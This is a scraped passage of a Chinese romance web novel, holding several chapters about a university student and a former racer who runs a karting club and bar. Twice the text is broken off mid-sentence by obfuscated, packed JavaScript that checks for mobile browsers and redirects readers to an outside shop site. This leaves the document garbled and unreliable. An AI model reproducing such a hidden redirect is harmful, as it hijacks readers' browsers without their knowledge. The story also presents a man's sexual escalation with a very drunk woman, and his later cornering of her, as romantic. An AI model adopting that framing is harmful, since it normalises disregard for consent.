倒是前排几个女生的窃窃私语,传入了她们的耳朵。 “这个教练也太帅了吧!” “等下去问问别人有没有女朋友。” “最好再加个微信。” 培训内容有车辆操作技巧、安全事项、以及赛道规则等等。 讲完后,陆祁溟扫了眼下面的人,“还有没有不清楚的地方?” 前排中间的女生率先举手,“教练,那个旗语能不能再讲一遍?” 陆祁溟又耐心过了一遍,问她:“这次记住了吗?” 女生猛点头:“记住了记住了。” 相比前排每个人都提了问的积极,梁舒音她们这排倒像是死水一潭,不知道的,还以为是社恐不敢开口。 陈可可倒是有些没记住,但也直接问了她。 当然,比起这些问题,陈可可更关心八卦,她摸出手机,暗搓搓发信息给旁边的人。 “前面那几个女的肯定对陆祁溟有意思。” “哦。” 她刚在手机上敲了个字,一抬头,就发现自己正被八卦当事人盯着。 像是学渣上课开小差,被老师抓了个现行。 偏偏这位老师,还要当众点她的名,“后排的两位,也没问题了吗?” 他话是这么说,目光却只盯着她一个。 陈可可反应快,忙不迭替她回复了句,“放心老师,我们都没问题的。” “行。” 陆祁溟敛眸,收了视线,“可以去上车了,第一圈是热身圈,大家先熟悉熟悉。” 梁舒音上车后,指导员过来检查了车辆的情况,确定没问题,提醒她可以出发了。 她却定在原处,没动。 手放在方向盘上,她缓缓转头,将视线投向不远处,那个正在指导学员的男人。 盯着他的背影看了几秒,她打开头盔面罩,叫了他的名字。 “陆祁溟。” 嘈杂的发车区,陆祁溟似乎听到有人在叫他,声音还挺耳熟的。 但他直觉不太可能,没理会。 过了几秒,那薄荷糖一样的嗓音又提高了分贝,“陆祁溟。” 他微怔,转头朝身后望去。 还真是她。 这是她第一次叫他名字。 “我的车没动静,你能不能过来帮我看看?” 想到那日赛场上飒爽的身影,此刻竟被一辆操作简单的卡丁车难住了,陆祁溟起身时,不经意勾了下唇。 他走过去,检查了下她那辆车,很快发现了问题。 一个极其低级的错误。 忘了打开安全启动按钮。 连刚碰卡丁车的人,都极少会犯的错。 他撩起眼皮,意味深长地看着她,“刚培训的时候,不是听得挺明白的吗?” 梁舒音也盯着他,不躲不闪,不慌不乱。 身旁又有一辆车开了出去。 她终于收回视线,将面罩一关,扔下句“谢了”,便发动车子离开了。 陆祁溟缓缓起身,双手插兜,微眯起眼睛,盯着那个疾驰而去的背影。 直到她彻底消失在拐弯处。 接连几场暴雨后,气温稍降,此刻没有骄阳炙烤,风是微凉的。 热身圈后,梁舒音一口气跑了六圈。 刚开始她压着速度,后面见其他人都陆续下场了,人少了后,她才放开了,加速起来。 她很不喜欢夏天。 每逢盛夏,她的情绪就会跌至谷底。 大抵是因为,从高考后的那个夏天起,她的人生就彻底偏航了。 她从小跟着父亲读过不少书,一头扎进文字的世界,她的内心会得到前所未有的平静。 但这个方式,也在那年夏天失效了。 后来跟着顾言西学车,她终于找到了另一种南辕北辙的方法,将心里的野兽从囚笼中释放出来。 她是学文学的,却也迷恋赛道上的感觉。 一半寂静,一半疯狂。 构成了现在的她。 最后一圈,见场上没人了,她再次加速,将速度提到极致。 观赛区内,秦授和陆祁溟一直在盯着赛道上的情况。 见梁舒音忽然提了速,就连过弯时也没降下来,秦授伸手推了黑色框眼镜。 “这姑娘,是不是疯了?” 10. 对峙 《坠落蝴蝶海》全本免费阅读 哪怕被陆祁溟逼到墙角,她也并未心虚,没害怕。 只是背脊撞在冷硬的墙上,肩胛骨钝痛,毛孔被冷意刺激,她微低了头,下意识皱了皱眉。 而这片刻的不适,让她没来得及反应,或反抗。 这恰好给了陆祁溟打量她的机会。 女孩皮肤白得透亮,长而翘的睫毛像蝶翼,微颤着,巴掌大的小脸上,清冷表情莫名透着一股子倔强。 至于藏在睫毛下那双狡黠的眼睛—— 他清楚记得,那双眼像狐狸,冷淡盯人时,分明没有情绪,却又带了钩子。 直勾勾往人心里戳。 等身体缓过来,梁舒音才意识到他靠得太近。 近到越了界,近到两人几乎在分享呼吸。 她闻到了他身上蒸腾出来的烟草味,清新的洗发水味道,闷热的空气也变得越来越粘稠。 而他站在她面前,直直地盯着她,阴影覆下时,不管是他的目光,还是两人的体型悬殊,都让她有了强烈的压迫感。 她只是无意识看了眼他的腹肌,道过歉,也解释过,男人却还咄咄逼人。 心里突然毛躁起来,她抬起头,毫不胆怯地迎上他的目光。 平日里,没几个人敢这样明目张胆盯着陆祁溟。 不是他不好惹,而是他眼神天然锋利,皮囊又太过好看,看人时有很强的侵略性。 女生会不好意思,男生会下意识惧怕。 但她却像是丝毫不会脸红心跳,眼风清冷,唇抿紧。 在隐隐较劲。 对于她后知后觉的反应,陆祁溟毫不意外地勾了下唇。 他很喜欢她这样挑衅的目光,像是恨不得将他生吞活剥了,从第一眼撞见,他血液里就隐隐透着兴奋。 他脚下一动,正要开口,一个东西横亘在两人之间,几乎快抵在他小腹上。 低头看了眼,是他的那把伞。 像把武器,隐隐戳在他腹肌上,似乎在提醒着什么。 他没再走近,双手揣兜,睨着那把武器,戏谑低笑。 “盯着看还不够,还要上手?” 梁舒音没理会他,只仰着头,目光清冷,“要吗?” “要什么?”他故意没听懂。 她也没解释,“不要我就扔了。” 头顶滚出气音的笑,撑在身侧的那双手,终于松了开。 陆祁溟后退一步,伸手撩起窗帘的一角,朝外面探了眼。 “你包里还有伞吗?”敛去刚才的戏谑,他语气认真。 一时间不明所以,梁舒音下意识摇头,“没。” “拿着吧,待会儿少不了又是场暴雨。” 她愣了下,紧绷的神情微微松弛,却没收回手,“不用了,我朋友带了伞。” 陆祁溟目光在她脸上游移,没再多说什么,骨节分明的大手将伞接了过去。 东西交接完,她没多做停留,转身就要离开。 “梁舒音。”身后的人叫住她。 她回头看他。 “知不知道,你刚才在赛道上那样很危险?” “我没超速。”她一脸认真。 陆祁溟太阳穴突突跳了下,险些气笑了,都不知道该说些什么。 这人怎么就那么犟,一脸无畏的理直气壮,但他又舍不得凶她。 见他没什么要说的了,梁舒音看他一眼,抬脚离开。 等人走后,陆祁溟才仔细打量手中的伞,他没那么讲究,平时用完都是胡乱折好。 但这回,伞的每一道褶皱,都被折叠得整整齐齐、一丝不苟,跟新买回来的没什么两样。 像是有强迫症似的。 伞柄处残留着女孩掌心的温热,他甚至还隐隐嗅到一丝属于她的香味。 员工休息室在走廊倒数第二间,梁舒音听到里面的动静,推门进去。 冷气扑面而来,脊背毛孔舒张时,她才察觉到自己刚才竟然出汗了。 “音音,这里。”陈可可看见她,朝她招手。 她前脚刚进去,陆祁溟后脚就跟了进来。 陈可可狐疑道:“你们怎么一块儿进来了?” “刚碰见的。”她坐下,淡淡道。 这时,一个留着齐肩长发的男生,拎着一大袋喝的进来。 陈可可也不知道什么时候跟这人混熟了,给两人互相介绍起对方。 “阿泽,这是我闺蜜梁舒音。” “这是竞速的教练,阿泽。” 阿泽没想到陈可可口中,那个很会骑车的闺蜜是个大美女,一时红了脸。 “你...你好。” 梁舒音浅笑,“你好。” “别光顾着看美女了。”秦授用指节轻扣桌面,提醒他,“东西赶紧放下。” 一大袋冰饮被放在桌上,冷气凝结的水,很快在桌上淌下一滩水渍。 然而,在这堆冰凉的饮料中,却突兀地夹杂了一瓶青柠水。 还是热的。 “哟,这怎么有一瓶热饮?”秦授意味深长地瞥了眼立在一旁的陆祁溟。 这水是老板请客,交代前台的小梅点的,阿泽不明所以,以为点错了,边拍着马屁,边伸手去拿这杯明显没人要的热饮。 “三伏天,喝点热的对身体好。” 谁知,刚拿起来,就被老板扣下了。 他脑袋灵光,瞬间明白怎么回事,缩了手,另外拿了瓶冰的。 陆祁溟拎着那瓶热饮,看向低头刷手机的人,修长手指递过去。 “青柠水,热的。” 东西递到跟前,梁舒音余光瞥到,众目睽睽下,没法视而不见,只能伸手去接。 “谢谢。” 陈可可那双杏眼慢慢瞪大,原本就狐疑的人,此时八卦之心爆棚,却碍于场合,只能极力憋着,用手肘撞她。 “到底怎么回事?” 将吸管插入瓶中,梁舒音喝了口,四平八稳道:“没什么。” 这个休息室是个套房,布置得很简单,主体黑白色调,家具不多,客厅摆了张墨绿色沙发,一个黑色不规则矮桌。 前方有个液晶显示屏,正播放着一场国际级的摩托车比赛。 屏幕左边是个半人高的玩偶,右边是个玻璃柜,里头摆满了各种赛车模型。 室内没什么人,就他们几个,陆祁溟这会已经走到客厅的一角,挨着阳台的位置,单膝跪地,像是在修理什么。 秦授扔了个护膝给他,“膝盖还要不要了。” 他伸手接过,却没用,径直扔到了一旁。 秦授叹气,“得,人要作死真是拦不住。” 陈可可一脸好奇,压低声音问道:“大神怎么了?” “他以前比赛膝盖受过伤,挺严重的。但凡下个雨,膝盖都要痛,跟个老头似的。” “所以大神是因为受伤才退圈的?” 秦授脸色微变,下意识朝陆祁溟看过去,还好他已经起身去阳台了。 他转头盯着陈可可,半认真半揶揄,“大人的事,小孩儿少打听。” 陈可可白他一眼。 也就比她大了几岁,说得自己多成熟似的。 退圈,膝盖有伤... 梁舒音琢磨着这两件事,目光下意识朝阳台看过去。 男人靠在阳台围栏旁,右手夹烟,左手拿了只打火机,正低头去点。 像是察觉到她的视线,他停下动作,抬眸朝她看过来。 刚对上,梁舒音就若无其事地移开了。 陈可可却没放过她,视线在两人间来回瞄了下,凑过来,附耳低语。 “哎你说这青柠水,到底是有意,还是无意的?” 梁舒音喝了口水,像是没听懂,眼睛都不眨一下,“什么有意无意的?” 陈可可再要问什么,门口来了个年轻女孩儿,是竞速的服务员,她刚见过的。 那女生长得秀气清纯,手头拿着杯咖啡,进门后,扫了眼客厅,径直朝阳台的方向走过去。 没两分钟,人就从阳台出来了,眼睛红红的,路过客厅时,还瞥了眼沙发上的梁舒音。 “又是个表白失败的。”秦授叹息一声,拿起遥控器,将电视换成喜剧频道。 陈可可啜了口冰奶茶里的珍珠,“你们陆老板,还挺拎得清的。” 捕捉到她话里的深意,秦授挑眼看她。 “怎么,你以为我们老陆是个来者不拒的风流公子哥?” 阿泽这时又送了堆吃的进来,有米饭,有炒菜,还有一堆烤串儿。 秦授还没吃午饭,一边将外卖从塑料袋中拿出,一边招呼她们吃东西。 梁舒音没动,陈可可倒是从烤串里挑了根玉米出来。 “谁让你们老板长了张容易让人误会的脸。”她振振有词。 秦授不置可否,拆开一盒米饭,为某人正名。 “在感情这件事上,我们老陆算是很较真的,这么多年,追他的人不少,也没见他对谁动过心。” 他有意无意瞥了眼梁舒音,“也不知道到底能看上哪家的仙女。” 两人对话时,梁舒音在旁边玩着扑克,听见这话,她将牌放下,看了眼时间,提醒陈可可。 “该走了。” 陆祁溟抽完烟,又打了个很长的电话,从阳台出来,扫了眼客厅,只剩秦授一个人了。 “怎么?人走了失望了。”秦授揶揄他。 陆祁溟没理会,只看了眼腕表,凌厉地扫他一眼,提醒道:“你这身衣服,恐怕进不去酒会。” 说完便离开休息室,回了隔壁他自己的卧室。 “放心,不会给你丢人的。”秦授跟过去,懒散倚靠在门口,盯着换衣服的人。 “刚跟人聊什么呢,这么久?” “啪”一声,柜门被关上,陆祁溟看向门口,“是你让她来我房间的?” “不敢。” 话虽如此,但他却是推波助澜了。 刚才他一打开休息室的门,就撞见小姑娘跑错了地儿,他没提醒,任由她进去了。 他早就察觉到陆祁溟不对劲了。 这人向来边界感强,从不沾花惹草,更不会随随便便盯着女生看。 但那日在赛场上,他看梁舒音的眼神,像野兽盯着猎物。 企图再明显不过。 他看上她了。 陆祁溟将牛仔裤换成了黑西裤,又从衣柜里找了件白衬衫出来,换上,掀眼看着门口的人,像是没信他的话。 秦授装模做样探了眼窗外,“赶紧,等会儿要下雨了。” 他说罢,就伸手去抓床尾那把叠得规规矩矩的伞。 “别动。” 陆祁溟扣着衬衫纽扣,制止他。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12914947|134839||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 正轻声唤她名字。 门内两人都默契地噤了声。 贴得太近,她甜腻的酒香,同他辛辣的气息交织混合,在闷热房间里发酵。 无限膨胀在他的感官中。 喉头无意识吞咽了下。 被他拢在身下的女人却忽然抬手,纤细手臂勾住他脖子。 陆祁溟一顿,掀起眼皮,细细打量她。 醉酒的女人也正仰头望着他,睫羽如蝴蝶的翅,只轻轻一煽,便撩拨起他心底的一阵飓风。 片刻后,那双勾住他脖子的手,松了开,白皙指节沿着他的脖颈、锁骨往下游移。 若隐若现的火星在昏昧室内迸发。 她刚才出现在门外时,他正打算换衣服,黑衬衫的纽扣刚好只解开了上头两颗。 此刻,她鲜红指尖落在衬衫敞开的地方,仅仅只是无意识的擦过,便激得他浑身一颤。 那双手最后停在了他胸口上。 梁舒音借酒发疯,明目张胆在他胸肌上揩油。 边摸,还嗫嚅着边点评,“手感...真好。” 低声呢喃的软糯语气,跟平日里不爱搭理人的样子截然不同。 原来这人喝醉了,就是个小流氓。 “不过——” 她又将掌心贴在他左侧胸腔处,一脸求教地仰头他。 “为什么你的心跳这么快?” 原本还在看戏的男人倏然绷紧了脸。 盯着身下耍酒疯的女人,陆祁溟正要扯开她的手,作乱的人却拽住他的胸襟,借力踮起脚尖。 女人温热的唇覆在了他的唇上。 柔软而香甜。 只稍稍触碰了下,便离开了。 他怔了怔,在她落地时,伸手去托住她的腰。 确保她安然落地后,他揽着她腰的那只手,却没放开。 他将她捞过来,身体贴近了自己,晦暗眸色在她脸上游移,附耳低语,循循善诱。 “所以,喜欢的人是谁?” 在窥探她刚才拒绝钟煦的那句话。 不知是没听见,还是没听懂,梁舒音不为所动,睁着双迷离的眼,又伸手去摸他下巴。 陆祁溟就那样低头睨她,由着她在自己身上肆无忌惮地放火。 化了淡妆的脸,水润撩人的狐狸眼,睫毛浓翘,五官精致漂亮到让人挪不开视线。 看着他时,眼睛似阖非阖,偶尔唇角一弯,笑容狡黠又天真。 她的气息是滚烫的,指尖却微凉。 大概是胡茬硌手,她皱了眉,决定抛弃这个玩具,于是指尖下移,落在他喉间凸起的地方。 轻轻一刮。 他闷哼了声,一股热流霎时自腹部涌上天灵盖。 撑在墙上的那只手,微握成拳,青筋自手背往小臂绵延。 他低头觑着她,依旧没阻止,也没采取任何反制的行动,只吞了下喉结。 喉结玩腻了,梁舒音终于收了手,一双水波荡漾的眼睛直勾勾盯着他。 “还想干什么?” 陆祁溟眸色越发浓黑,低哑语气像是警告,更像是诱惑。 这回,梁舒音没再抓他衣服,柔软掌心贴着他后腰,微仰着头,踮起了脚尖。 暧昧昏暗的空间,墨绿色厚重窗帘开了条缝,晚风漏进,月色晃荡。 像晃动的人心。 她并不知道自己在玩火,只觉得男人身上的味道很好闻。 沉香,薄荷,酒精... 她说不清那是什么味道。 只是天然的想亲近。 还有他的嗓音,其实她已经辨不清他在说什么,但莫名蛊惑的味道,好像填满了这一刻她心里的空虚。 身下的人再度将甜蜜果实送到了唇边。 男人的欲念蠢蠢欲动,君子行为已在溃败边缘。 陆祁溟深吸口气,凭借着最后的克制,抓住她手腕,将她双手反剪在她头顶。 明知是醉鬼行为,却还是愚蠢地问了句,“知道自己在做什么吗?” 嗓音喑哑得连他自己都有些意外。 身下的人却皱了眉,嘟囔道:“陆祁溟,你弄疼我了。” 她在叫他的名字。 她很清楚自己面对的是谁。 软糯如撒娇的语调,击溃了陆祁溟最后的防线。 心头那点火苗被彻底点燃。 这不算趁人之危。 在她先点火的。 他一手控住她的腰,一手扣住她后脑勺,将人猛地往怀里一带。 反客为主地吻了下去。 16. 解渴 跟她刚才蜻蜓点水的撩拨不同,陆祁溟是认真的。 他这人向来强势,对想做的事,有很强的执行力;对认定的人,更是透露出极强的掌控欲和占有欲。 这一点,淋漓尽致体现在了接吻上。 他一手用力按揉她的腰,一手捏住她下巴。 梁舒音随着他的动作下意识微张了唇,他的舌头便趁机进入。 没有任何试探,轻咬,舔舐,再肆无忌惮用力吻着。 野蛮而暴力。 像是恨不得将她的香甜独吞如腹。 朦胧意识中,男人的唇舌,在她口腔里逗弄着,纠缠着,温柔又肆意。 呼吸被他夺尽,舌根发麻,梁舒音不适地“唔”了声,伸手去推他。 刚行至浅水区的人怎可能放开她,于是,反抗的手被他握住,束缚在了她头顶。 “换气。” 陆祁溟沉哑着嗓子引导她。 酒精催化涌动的欲念,湿热的呼吸交融,所有欲望都融化在这个吻中。 察觉到她的难受,他暂时停下,让渡呼吸给她。 在赛场遇见梁舒音以前,陆祁溟一直以为,他生命中所有的事都能条分缕析,喜欢与厌恶也能列出个一二三。 然而,她的出现却打破了他的既定规则。 她走进他心里,似乎只用了抬眸的一瞬。 陆祁溟审视般盯着被他嵌在怀里的人,漆黑深眸中倒映出她此刻迷离诱人的样子。 她的口红已经被他吃掉,唇上是被他用力吃咬后的红肿,那副半醉半醒、妩媚又乖巧的模样,带着一种无意识的杀伤力。 她身上所有的一切,都在勾着他,上瘾。 虽然她在赛场上的闯入是意外,但他要她,这是既定事实。 刚才的亲密,让周身热气蒸腾,梁舒音不耐地嗫嚅了句。 “渴。” 男人指腹重重按压着她唇角,眸底情|欲浓得化不开,他不知餍足般,再度低头,含住她的唇。 替她解渴。 他用手臂勾住她的腿,将人抱起,往室内走去。 裙子随着她的动作上移到腿根,一双挂在他小臂的腿,微微晃荡着。 他一手撑在桌沿,一手扶住她后颈,欺身过去。 薄唇顺着她颈间一寸寸亲吻,再含住她小巧的耳垂,在舌尖研磨、轻咬。 耳边是男人粗重的呼吸,侧颈是濡湿的触感,梁舒双手勾住面前的人,微仰着头,承接着男人的吃允。 头顶的灯在晃动。 不知今夕何夕。 情|欲在安静的屋子里流窜,而窗外,深蓝早已坠落,暗黑天幕中挂着一轮皎洁的明月。 宿醉的缘故,翌日醒来是意料中的头昏脑胀。 梁舒音睁开眼,就见陈可可趴在卧室窗台上,喂着不知从哪儿飞来的鸽子。 听见床上的动静,穿着天蓝色百褶裙的鸽子少女扭过头来,睁大圆溜溜的眼睛,嗓音雀跃。 “音音你醒啦?” “我怎么在你这儿?” 梁舒音将指腹贴在太阳穴,按揉起来,一开口,嗓子哑得像落了灰。 “你不记得啦?” 陈可可惊呼,“是陆祁溟把你送过来的。” 梁舒音指尖一顿。 陆祁溟? 她努力回忆了下,只记得自己为了躲钟煦,从包间跑了出来,后来走错了路,有人将她拽进了一间光线很暗的房间。 碎片在脑子里一点点拼凑起来,她隐约记起了那张脸。 的确,是陆祁溟。 陈可可拍净手上的米粒,坐到床边,双眸盛满探知欲。 “所以你拒绝钟煦,是因为陆祁溟?” 钟煦追梁舒音的事,她一直门儿清,也知道梁舒音碍于对方的颜面,始终采取迂回战术。 昨晚那个直白的拒绝视频,她在论坛刷到时,都解气的不行。这种把人放在火上烤的表白行为,还给什么面子。 但收到陆祁溟的消息时,她却是惊得差点从床上滚下来。 她昨晚提前问过梁舒音,要不要去酒吧接她,得到的回复是:学姐会顺路送她回家。 虽然不知道学姐怎么就变成陆祁溟了,但她倒是乐见其成得很。 梁舒音反应了一会儿陈可可的问题,答非所问。 “钟煦的事,你也知道了?” 陈可可伸手去探她脑门,想确认这个聪明的姑娘,是不是被昨晚的烈酒给烧糊了脑袋。 “你跟钟煦都是学校的焦点人物,你们昨晚那群人里,虞大的也不少,传到学校论坛上,不是很正常的吗?” 梁舒音茫然地“哦”了声,懒散地扒开她的手。 “音音醒啦?” 门外传来陈可可妈妈温润的声音。 她将头探进卧室,一双蘸了面粉的手端在空中,关切地看着被窝里的人。 “哎程姨,我醒了。”梁舒音忙坐直了身子,一副乖巧听话的模样。 “脑袋是不是很胀痛?” 梁舒音不好意思地吐舌,“有点儿。” 程琳没数落她,指挥着自己女儿:“可可你跟我到厨房来,给音音把解酒汤端过来。” 昨晚陈可可大半夜出门,本就睡眠不好的她被吵醒了,打开卧室门问了句,知道情况后,披着衣服在电梯口等着。 梁舒音被陈可可扶上来的时候,已经醉得不省人事了,身边还跟了个男人。 她当即心里一紧,生怕她被人欺负了,毕竟这姑娘长得太好看了。 结果听女儿说,梁舒音只是去参加学姐的生日宴,酒量不行,喝多了,那男人是酒吧老板,也是学姐的朋友,顺路载她回来。 再细瞧那男人,相貌不凡,谈吐得体,便信了女儿的说法,将心揣回肚里,跟陈可可一起照顾着她洗漱完。 两姑娘关系好,梁舒音从高一起就带着陈可可这个跟屁虫,硬是把学渣带上了前排。 她心里一直感激得很,每回见了梁舒音,都把她当亲闺女对待。 今早也特意早起,替她提前备好解酒汤,又亲手做了她爱吃的小混沌。 “知道啦——” 陈可可扯着嗓子应了句,起身往外,走了两步,又杀了个回马枪。 “真忘记了?”她眨巴着大眼睛。 梁舒音懵懵点头,无辜地看着她,“一点儿也不记得了。” 也不知是不是在敷衍她,陈可可撅起小嘴,带着遗憾的不甘,跟在她妈屁股后头,去了厨房。 母女俩走后,梁舒音下床换衣服。 脚刚踩到拖鞋的瞬间,那些该有的,不该有的画面,通通一股脑儿全涌了上来。 她头皮发紧。 连呼吸都在刹那间停滞了。 所以,她昨晚不但跟陆祁溟做了什么,而且,还是她主动的。 也不知撞了什么鬼,在记忆回笼的档口,手机也跟着震动起来。 是陆祁溟发来的信息。 “醒了没?还好吗?” 她握着手机,好半天没回过神来。 大概是没得到回复,对方又发了条过来。 “头痛吗?” 她盯着这句亲昵得有些逾越的话,拇指和食指掐在一起,迟迟未在键盘上落下字句。 正沉默着,就听见陈可可进门的脚步声。 她若无其事地将手机塞进了枕头底下。 喝完解酒汤后,她打算先冲个澡。 陈可可从衣柜里找了换洗衣服给她,怕她脑子还没转过来,提醒她说:“下午文新学院的新生汇演彩排,你没忘吧?” “没。”她接过衣服,放在床头柜上,又弯腰去叠被子。 “我跟你一块儿去好不好,反正一个人在家也无聊。” “好。” 陈可可接过她正在叠的凉被,“那你赶紧冲完澡去吃早饭,有你最爱的小混沌。” “好呀。” 陆祁溟打完一通电话后,划开微信界面。 没有任何新信息。 已经半个小时过去了,是没起床,还是单纯不想回复他? 门没关,秦授领着尹航上来,在门口就瞧见陆祁溟立在窗边,蹙眉盯着手机屏幕,像是在为什么事窝火。 他回头给尹航使了个眼色。 那意思是——老板心情不太好,小心说话。 跟尹航嘱托完,秦授还是礼貌地敲了敲门。 陆祁溟回过神,将手机扔在一旁,朝门口扫了眼。 “进。” “老陆,尹航上来给你汇报这个季度的运营情况。” 陆祁溟抬腕看了下时间,跟尹航交代:“十分钟,简短汇报。” 尹航一懵。 老板很久才来一趟,他抱着挣表现的想法,认真准备这次汇报的方案,反复修改,提前演练。 但悲催的是,东西不少,整个汇报是按照30分钟来设计的。 “怎么,时间长了?”陆祁溟抄着手,看他。 “不。”尹航被他那一眼看得脊背发凉,讪笑,“十分钟,刚好合适。” 秦授翘着二郎腿,坐在旁边的沙发上,憋着笑看戏。 这酒吧原本是他在负责管理,但俱乐部那边生意好起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12943478|134839||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来后,他两头跑,难免顾此失彼,捉襟见肘。 陆祁溟便另外找了个专业管理人过来。 尹航虽然口齿不怎么伶俐,但好在为人踏实,经验也丰富,酒吧在他的管理下,生意一直不错。 只是陆祁溟一手把玩着打火机,安静听着,面色不显的样子,让尹航心里打鼓。 等他汇报完毕,陆祁溟才缓缓开口。 “尹航,在管理这方面你是专业的,酒吧能有这么好的业绩,辛苦你了。” 闻言,尹航备受鼓舞,又忙不迭补充了句。 “刚刚陈东申来电,说昨晚那笔消费,原本就是他送给女友的生日贺礼,他很感谢老板的用心,但还是想自己付。” “你应下了?”陆祁溟问。 尹航点头,“我觉得不能拂了陈少爷想给女友送浪漫的心。” 陆祁溟从桌上拿起一盒烟,抖出一只,点燃了,咬在唇边。 “钱已经打过来了?”他看着尹航。 “还没,说是上午在开会,晚点打过来。” “行。” 陆祁溟沉了脸,吐出烟圈,“这笔钱如果收了,那你也卷铺盖滚蛋吧。” 说完这句话,他瞥了眼笑得快憋不住的秦授,起身离开了这间房。 “啊...这什么意思?” 尹航上一秒刚被表扬,下一刻就要被扫地出门,人都懵了。 秦授拍他肩膀,“所以说你还是缺了点洞察力,知道老板为什么免单吗?” 尹航摸着脑袋,猛摇头。 秦授提点他:“陈少是什么心思,你老板就是什么心思。” 尹航喃喃重复着这话,忽然一拍脑门,醍醐灌顶般瞪大一双鱼眼:“女人?” 秦授意味深长看他一眼,也跟着陆祁溟离开了。 下午文新学院的新生汇演彩排整体很顺利,但有个乐队的鼓手因故缺席,电话也打不通,其他人都跟着焦躁起来。 和梁舒音一起负责后勤的还有个新闻学院的女生,叫慕辰。 “要不先找一个会打鼓的顶上,先过一遍,不然这后面的没法排啊。”慕辰提议道。 主唱苦恼,“可这临时上哪儿去找啊?” 陈可可正坐在后台的椅子上看漫画,闻言,抬头说了句:“你们面前就有一个。” “谁?” “音音啊~” 主唱和慕辰双双惊喜地看向梁舒音。 “我...不太行。” “怎么不行了。”陈可可补了句,“你不是从十岁就开始学架子鼓了嘛。” 梁舒音往后一撤,结果被慕辰逮住,“只是过一遍,没什么的。” 主唱也堵在后台,双手合十,哀求她。 “帮帮忙吧姐姐,要是被老师发现了,我们这个节目铁定会被取消。” 瞪了眼话多的陈可可,梁舒音只能妥协,“行,我只帮你们过一遍。” 其实梁舒音架子鼓打得很不错,只不过她上大学后,就不怎么碰了。 彩排一路跟过来,她对他们这歌印象很深了,看了下谱子,准备了小会儿就开始彩排。 结束后,整个乐队的人都对她刮目相看。 这哪里是不太行,简直是太行了。 她刚下了台,就瞧见原本那位女鼓手火急火燎从后门跑进来。 “抱歉,我来晚了。” 从队友口中得知梁舒音替她彩排后,那女生起初一怔,本打算跟梁舒音道谢,结果看清她的脸后,忽尔脸色微变。 汇演前最后一次彩排,忙完已经傍晚六点了。 从礼堂出来,陈可可接到她妈的电话,说舅舅来家里了,让她回家吃饭。 梁舒音一个人也不想去食堂,拿出手机想点个外卖,身后有人追了出来。 “梁舒音——” 她回头,是乐队的鼓手叶子。 “刚刚谢谢你帮我彩排。”叶子说。 “不客气。” “不过——” 叶子盯着她,“下回能不能别这样,我还是希望能自己上。” 梁舒音微蹙眉头,转头看她,语气不冷不淡。 “当然可以,如果你能准时过来,别让所有人都等你一个。” “你——” 叶子不服气,正要再辩解什么,一阵刺耳的刹车声在礼堂外响起。 两人不约而同朝始作俑者望过去。 只见陆祁溟左手搭在车窗外,指尖燃着烟,正朝她们侧目过来。 梁舒音看向他,从他克制但不悦的目光中,她察觉到了他的来意。 来堵她的。 17. 墙角 跑车里的男人长得很好看,五官轮廓简直是造物主的杰作,叶子一时呆住了,脸通红,心脏狂跳。 然而下一秒,男人盯她一眼,那种漫不经心的冷厉,却激得她浑身一颤。 意识到他是来找梁舒音的,她不敢再多说什么,找了个借口,匆促离开了。 梁舒音却像是完全没看见这个人,收回视线,边低头点外卖,边顺着校道往前。 没走几步,就听到车门摔上的声音,像是夹杂了一股莫名邪火。 接着,前方的路被男人高大的身影挡住。 “梁舒音——” 陆祁溟居高临下,垂眸看她,低沉语气中夹杂着明显的不悦,“怎么?亲完就不认账了?” 被控诉的人丝毫没有慌乱,只一脸懵懂地望着他,一副“你在说什么”的表情。 陆祁溟也不着急,从头跟她盘起来。 “为什么不回信息?” “一直在忙,没看见。” “那你刚才跑什么?” “我近视,没看清是你。” 也不知信没信,陆祁溟笑了下,面色松缓了不少,睨着她。 “吃饭了吗?” “吃了。” 谎言一戳即破,他刚才分明看见了她点外卖的界面。 行,这姑娘嘴里就没一句实话。 陆祁溟也不跟她周旋了,问得直接:“昨晚的事...” 梁舒音打断他,姿态冷静,“抱歉,我昨晚喝多了,发生了什么都不太记得了。” 陆祁溟审视般地盯着面前装傻的人,也没生气,反而觉得这姑娘有种和年龄不相符的镇定。 他伸手去兜里摸手机,“行,那我替你回忆下,正好酒吧的每个房间都是有监控的。” 屏幕刚被点开,手机就被梁舒音握住了。 “那个,我突然想起来了。” “嗯?” 陆祁溟撩起眼皮,好整以暇瞧着她,等着她的下文。 白皙手指叠在他指尖,柔软触感令他想起了昨夜的旖旎。 见他目光落在自己抓他的手上,梁舒音很快松了开。 “昨晚我喝多了,冒犯了你,做了些不该做的事,但大家都是成年人了,您就大人不记小人过。” “冒犯?” 陆祁溟眼风微冷。 “不该做的事?” 他玩味地品咂这这几个以退为进的字,收了手机,揣着胳膊,低头睨着狡辩的人。 被他这样名目张胆地盯着,梁舒音知道自己跑不掉了,主动求和。 “或者,你想要我怎样?” 面前的男人看她两秒,忽然抬脚,朝她走近了。 “我想要什么,你很清楚。” 然后,他一步一步,将她逼退到了路旁的香樟树上。 他虽然喜欢就要得到,但也讲究礼貌和规则,并不是个强取豪夺的人。 只是,昨晚主动引火的人,此刻却急着撇清关系,他不由得有些窝火。 “陆祁溟,我...” 后背撞在树上,肩胛钝痛,梁舒音也有些恼怒,眉头不觉皱起,“你再这样,我就叫人了。” 陆祁溟不为所动,反而低头笑了下。 下一刻,就听到从校道上传来的声音,“小音?” 是探头张望的钟煦。 